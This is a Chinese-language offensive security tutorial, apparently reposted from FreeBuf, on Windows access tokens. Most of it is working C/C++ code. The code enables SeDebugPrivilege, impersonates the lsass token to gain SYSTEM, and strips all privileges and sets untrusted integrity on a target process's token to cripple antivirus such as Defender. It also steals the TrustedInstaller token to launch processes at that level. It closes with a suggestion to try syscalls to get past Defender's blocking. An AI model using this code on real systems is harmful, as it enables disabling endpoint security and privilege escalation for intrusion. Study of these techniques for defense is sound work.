Windows
Access
Token(访问令牌),它是一个描述进程或者线程安全上下文的一个对象。每个用户登录计算机都会产生一个AcessToken以用于创建进程和线程,用户注销以后会将主令牌切换成模拟令牌,也就是授权令牌和模拟令牌,不会清除令牌,只有重启才会。
Delegation token(授权令牌):用于交互会话登录(例如本地直接登录、rdp login 、psexec )
Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹,或者wmi、winrm等等)
当前用户的安全ID(SID)
当前用户所属组的安全ID(SID)
当前会话安全ID
用户所有的特权列表(包括用户本身,和其所属组)
令牌拥有者安全ID
用户所属主组群安全ID
默认的自由访问控制列表
源访问令牌
表明此令牌是源令牌还是模拟令牌
可选的链表,表明此令牌限制哪些SID
当前模拟令牌的级别
其他数据资料
MSDN对特权常量的描述:
https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants
S-版本号-(颁发机构:Identity-Authority)-(子机构:SubAuthority)-RID
MSDN上的一个例子:
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
{
printf("[-]get token failed!\n");
}
else {
printf("[*]get token success\n");
}
LookupPrivilegeValue 获取本地系统的 SE_DEBUG_NAME 特权的LUID值返回给sedebugnameValue。
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue))
{
CloseHandle(hToken);
return false;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
{
CloseHandle(hToken);
return false;
}
bool EnableDebugPrivilege()
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue))
{
CloseHandle(hToken);
return false;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
{
CloseHandle(hToken);
return false;
}
return true;
}
获取一下借用下lsass的token提权到system
int pid = processID("lsass.exe");
HANDLE ptoken;
HANDLE phandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
BOOL token = OpenProcessToken(phandle, TOKEN_DUPLICATE | TOKEN_QUERY, &ptoken);
BOOL bRet = ImpersonateLoggedOnUser(ptoken);
if (bRet == FALSE)
return 1;
打开目标进程,获取句柄
HANDLE process = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processID(procname));
erroint = GetLastError();
if (erroint == NULL)
printf("[+]Get ProcHandle success Pid:%d\n", processID(procname));
else
printf("Get ProcHandle fail:%d\n", erroint);
获取到目标进程的token
int ret = OpenProcessToken(process, TOKEN_ALL_ACCESS, &Ltoken);
erroint = GetLastError();
if (erroint == NULL)
cout << "[+]Get ProcToken success" << endl;
else
printf("Get ProcToken fail:%d\n", erroint);
核心代码:上文提到了LUID(特权常量)共计是36个(0x24),这里我们直接遍历36个每个全部移除掉。
BOOL DisablePrivilege(HANDLE token) {
typedef_ZwAdjustPrivilegesToken ZwAdjustPrivilegesToken = (typedef_ZwAdjustPrivilegesToken)GetProcAddress(LoadLibraryA("ntdll.dll"), "ZwAdjustPrivilegesToken");
if (ZwAdjustPrivilegesToken == NULL) {
printf("Can not found ZwAdjustPrivilegesToken");
return -1;
}
for (int i = 0; i <= 0x24; i++) {
TOKEN_PRIVILEGES tp = {};
LUID luid = {};
luid.HighPart = 0;
luid.LowPart = i;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;
ZwAdjustPrivilegesToken(token, 0, &tp, sizeof(tp), NULL, NULL);
erroint = GetLastError();
if (erroint == NULL)
cout << "[+]Remove ProcToken success" << endl;
else
printf("Remove ProcToken fail:%d\n", erroint);
}
return TRUE;
}
设置sid为不受信任的强制完整性权限:s-1-16-0(这里可理解为就是个弟中之弟的一个sid),
DWORD integrityLevel = SECURITY_MANDATORY_UNTRUSTED_RID;
SID sid = {};
sid.Revision = SID_REVISION;
sid.SubAuthorityCount = 1;
sid.IdentifierAuthority.Value[5] = 16;
sid.SubAuthority[0] = integrityLevel;
TOKEN_MANDATORY_LABEL tml = {};
tml.Label.Attributes = SE_GROUP_INTEGRITY;
tml.Label.Sid = &sid;
最后重新设置目标进程的token和sid,
BOOL Rret = SetTokenInformation(Ltoken, TokenIntegrityLevel, &tml, sizeof(TOKEN_MANDATORY_LABEL));
注意:当前时间已经无法获取到defender的token,GetLastError:
5 提示权限不够,切换成TrustedInstaller也不行,或许是hook了OpenProcessToken,可以syscall试试。
HANDLE ptoken1;
HANDLE phandle1 = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid1);
BOOL token1 = OpenProcessToken(phandle1, TOKEN_DUPLICATE | TOKEN_QUERY, &ptoken1);
BOOL bRet1 = ImpersonateLoggedOnUser(ptoken1);
if (bRet1 == FALSE)
return 1;
wchar_t procname[80] = L"TrustedInstaller.exe";
int pid = FindProcessId(procname);
获取当前进程的token给到htoken。
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
{
printf("[-]get token failed!\n");
}
else {
printf("[*]get token success\n");
}
打开TrustedInstaller.exe,获取到它的进程句柄phandle。
HANDLE phandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (phandle != INVALID_HANDLE_VALUE) {
printf("[*]Opened Target Handle\n");
}
else {
printf("[-]Failed to open Process Handle\n");
}
取到TrustedInstaller.exe的token,这里我们只需要复制和查询权限即可,如果用TOKEN_ALL_ACCESS会提示无权限。
BOOL token = OpenProcessToken(phandle, TOKEN_DUPLICATE | TOKEN_QUERY, &ptoken);
if (token) {
printf("[+]Opened Target Token Handle\n");
}
else {
printf("[-]Failed to open Token Handle:%d\n", GetLastError());
}
再通过我们拿到的token去启一个我们想要启动的进程,
BOOL ret = CreateProcessWithTokenW(hToken, LOGON_NETCREDENTIALS_ONLY, wstrExecutablePath.c_str(), NULL, 0, NULL, NULL, &si, &pi);
if (!ret)
printf("[-]Create Failed:%d\n", GetLastError());
else
printf("[+]Create success!!");
最后可以看到从administrator提到了TrustedInstaller权限。
token操作需要操作账户拥有以下权限之一(whoami /priv):
SeImpersonatePrivilege
SeAssignPrimaryPrivilege
SeTcbPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeCreateTokenPrivilege
SeLoadDriverPrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
以上有问题欢迎各位交流指出。
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%88%A9%E7%94%A8
https://macchiato.ink/hst/bypassav/Token_Weakening/
转自:FreeBuf